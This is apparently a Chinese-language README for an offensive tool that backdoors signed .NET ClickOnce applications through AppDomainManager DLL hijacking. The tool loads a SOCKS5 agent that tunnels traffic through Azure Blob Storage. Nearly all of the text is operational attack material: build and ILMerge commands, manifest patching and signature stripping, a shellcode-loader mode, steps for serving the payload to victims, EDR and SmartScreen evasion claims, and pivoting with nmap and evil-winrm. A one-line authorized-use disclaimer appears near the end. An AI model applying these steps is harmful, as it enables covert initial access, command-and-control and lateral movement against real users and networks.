
通过 AppDomainManager 注入劫持依赖 DLL 并加载 C# 移植的 ProxyBlob Agent,将已签名的 .NET ClickOnce 应用程序武器化,用于初始访问。附带 ProxyBlob 的 C# 移植版本——一种通过 Azure Blob Storage 隧道传输所有流量的 SOCKS5 代理,可融入 *.blob.core.windows.net 被列入白名单的环境中。
ClickOnce 是微软针对 .NET 应用程序的一键部署技术。当用户点击 .application URL 时,Windows 会下载并运行该应用程序,无需管理员权限。攻击流程:
.exe.config,告诉 CLR 将我们的 DLL 作为 AppDomainManager 加载宿主 .exe 保持原样且签名有效。SmartScreen 将其视为已知二进制文件。EDR 看到受信任的进程加载模块。你的代理仅通过 HTTPS 与 Azure Blob Storage 通信。
├── clickonce_backdoor.py # 将 ProxyBlob Agent DLL 后门注入 ClickOnce 应用的主脚本
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL 载荷 (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # 独立的 Proxyblob 控制台代理(用于测试)
│ ├── ShellcodeLoader.cs # 替代:shellcode 加载器载荷
│ └── MessageBoxPoC.cs # PoC:消息框(验证注入是否生效)
└── README.md
攻击机 (Linux/macOS):
构建机器 (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe(自动检测)nuget.exe 放在脚本旁边或加入 PATH(仅 --proxyblob 模式需要)脚本会自动检测 csc.exe 和 nuget.exe。对于 --proxyblob,首次运行时 BouncyCastle 和 ILMerge 将通过 NuGet 自动安装到脚本旁边的 packages/ 目录中(跨运行持久化)。
代理代码与架构无关(无 P/Invoke,无 shellcode)。--platform 标志(传递给 csc.exe /platform:)控制 CLR 如何加载它:
使用 corflags.exe TargetApp.exe 检查目标应用以确定其平台。
# 创建存储帐户
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# 获取密钥
az storage account keys list --account-name yourblobaccount --output table
或本地使用 Azurite:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
在代理 shell 中:
proxyblob » create
[+] 已创建容器: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] 连接字符串: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

保存该连接字符串——它将被写入代理中。
在集成到 ClickOnce 之前,始终先验证代理能否独立工作。
在 Windows 构建机上:
# 编译
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge 为单个 exe(以便嵌入 BouncyCastle)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# 运行
Agent.exe <connection-string>
回到代理端:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 代理正在 127.0.0.1:1080 上监听
测试:
proxychains curl http://ipconfig.io
如果正常工作,则继续 ClickOnce 集成。
在侦察阶段寻找目标 ClickOnce 应用(搜索 .application URL)。你需要:
下载整个 ClickOnce 部署:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

脚本会自动编译 C# 源代码、处理 NuGet 依赖(针对 --proxyblob)、将 BouncyCastle ILMerge 到 DLL 中,并修补所有清单——全部在单次运行中完成:

# ProxyBlob 模式 — 自动编译、自动安装 NuGet 包、自动合并
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC 模式 — 快速验证注入是否生效
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode 模式
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 目标应用
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

脚本处理:生成嵌入了你设置的 C# 源代码,通过 csc.exe 编译,ILMerge BouncyCastle(针对 --proxyblob),替换 DLL,创建带有 AppDomainManager 注入的 .exe.config,将两个文件添加到清单,重新计算所有 SHA256 哈希和文件大小,剥离代码签名,清零厂商 publicKeyToken,并更新部署提供程序 URL。
手动覆盖: 你仍可使用 --payload 提供预编译的 DLL(跳过编译):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ ILMerge 程序集名称陷阱: ILMerge 根据输出文件名设置内部程序集名称,而非输入文件。如果合并为
Foo_merged.dll,然后将文件重命名为Foo.dll,内部名称仍然是Foo_merged——CLR 读取元数据而非文件名。.exe.config将不匹配,AppDomainManager 注入将静默失败,无任何错误。脚本通过直接 ILMerge 到最终名称正确处理了这一点。
# 内置服务器,带有正确的 MIME 类型和缓存头
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

或使用任何配置了以下 MIME 类型的 Web 服务器:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
向受害者发送:http://YOUR-SERVER/APPLICATION.application
他们点击“安装”→ 应用运行 → 你的 SOCKS5 隧道打开。

# 在代理机上
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 位于 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



在测试部署之间清除:
rundll32 dfshim CleanOnlineAppCache
调试时,先使用 ProxyBlobStandalone.cs——它会向 stderr 写入详细日志,显示数据包类型、连接事件和错误。确认工作正常后,切换到 ProxyBlobAgent.cs 进行 ClickOnce 集成。
该代理是 Go ProxyBlob agent 的忠实移植。移植过程中发现并修复了三个关键错误:
1. UUID 字节顺序 — Go 的 uuid.UUID 以 RFC 4122(大端)顺序存储 16 字节。 .NET 的 Guid 构造函数会将前 3 个分量交换为小端,导致网络上 ConnectionID 不匹配。通过使用原始 byte[16] 数组修复。
2. XChaCha20-Poly1305 — Go 使用 chacha20poly1305.NewX() = 带 24 字节 nonce 的 XChaCha20。BouncyCastle 的 ChaCha20Poly1305 仅支持 12 字节 IETF nonce。通过实现 HChaCha20 子密钥派生修复:
subkey = HChaCha20(key, nonce[0:16]) // 对 key+nonce 执行 ChaCha20 四轮运算
ietf_nonce = 0x00000000 || nonce[16:24] // 剩余 8 字节成为 IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Base64 填充 — Go 使用 base64.RawStdEncoding(无 = 填充)。 .NET 要求填充。通过在解码前自动填充修复。
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
密钥交换:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
对称密钥: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
加密: XChaCha20-Poly1305 作用于所有 CmdData 载荷
Blob 传输:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent(代理轮询、读取、清除)
response — agent→proxy(代理写入、代理读取、清除)
轮询: 指数退避 50ms → 3s(×1.5)
*.blob.core.windows.net——与合法的 Azure 流量混合.exe 保持有效签名——仅修改依赖 DLL 和 .configAPPLICATION)此工具仅用于授权的安全测试和研究。请仅在你拥有明确书面许可的系统上使用。
--platform | 在 x86 Windows 上运行 | 在 x64 Windows 上运行 | 使用场景 |
|---|
x86 (默认) | 32位 | 32位 (WoW64) | 目标应用为 x86 |
x64 | ✗ | 64位 | 目标应用为 x64 |
anycpu | 32位 | 64位 | 独立测试,或目标为 AnyCPU |
| 错误 | 修复 |
|---|
csc.exe not found | 安装 .NET Framework 4.x 或将 csc.exe 加入 PATH |
nuget.exe not found | 从 nuget.org 下载,放在脚本旁边或加入 PATH |
CS0012: type 'Object' ... netstandard | 在 csc 命令中添加 /r:netstandard.dll |
Metadata file ... net461 ... not found | 使用 netstandard2.0 版本的 BouncyCastle 路径 |
| 症状 | 原因 | 修复 |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL 未嵌入 | 使用 ILMerge 创建单个 DLL |
| ClickOnce 运行后 AppDomainManager 未加载 | 内部程序集名称不匹配 | 程序集名称必须与 .exe.config 一致。使用 ildasm /text Dll.dll | findstr ".assembly" 检查 |
| 代理以退出码 3 退出 | 连接字符串无效或已过期 | 在代理中使用 create 重新生成 |
| ClickOnce 安装静默失败 | 清单哈希不匹配 | 重新运行自动化脚本,或手动重新计算 SHA256 哈希 |
安装时出现 RefDefValidation 错误 | 第三方 DLL 强名称令牌被清零 | 脚本仅清零厂商令牌。必要时使用 --dll-name 设置载荷 DLL 名称 |